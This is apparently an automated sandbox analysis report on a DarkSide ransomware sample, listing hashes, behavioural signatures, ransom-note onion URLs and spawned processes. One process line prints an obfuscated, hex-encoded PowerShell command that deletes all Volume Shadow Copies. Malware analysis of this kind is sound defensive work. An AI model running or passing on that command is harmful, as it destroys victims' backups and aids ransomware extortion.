Resubmissions
27/01/2024, 19:37
240127-yb5pksafd3 1027/01/2024, 19:36
240127-ybqwesafc2 1012/05/2021, 15:56
210512-db4t7vmwas 10Analysis
-
max time kernel
140s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
27/01/2024, 19:37
General
-
Target
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
-
Size
226KB
-
MD5
c81dae5c67fb72a2c2f24b178aea50b7
-
SHA1
4bd6437cd1dc77097a7951466531674f80c866c6
-
SHA256
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
-
SHA512
30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c
-
SSDEEP
6144:UQyTTOip6TGcWnsmx7KbYrBPIJqcKxxY1:E3gGcWnNJIJqDxxY
Malware Config
Extracted
C:\Recovery\WindowsRE\README.4d6a2298.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (168) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 25 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD525d0b19a0ec34a39dfa3e177866f01a3
SHA1a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
1KB
MD5d1414b301c11e310c55c6fd19b5beeb6
SHA1a9a8feef8d7bd65cb5a423665f5ca084672c1af8
SHA25694cb5e8396bc3c3e64e9a9c9cf794a9715148783bb0a91d8c8b77849838df6d0
SHA5121aecaa226433d392968e7ceec6fcabb625a138af4101c36f67cfe1174c4c1c0112999e4638e91664a6eb6a9b0b62a108e77902baec37ae4b59729ebe04fadda4
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
4KB
-
Filesize
156KB
-
Filesize
240KB
-
Filesize
4KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
240KB
-
Filesize
156KB
-
Filesize
240KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
4KB
-
Filesize
156KB
-
Filesize
156KB
-
Filesize
240KB
-
Filesize
156KB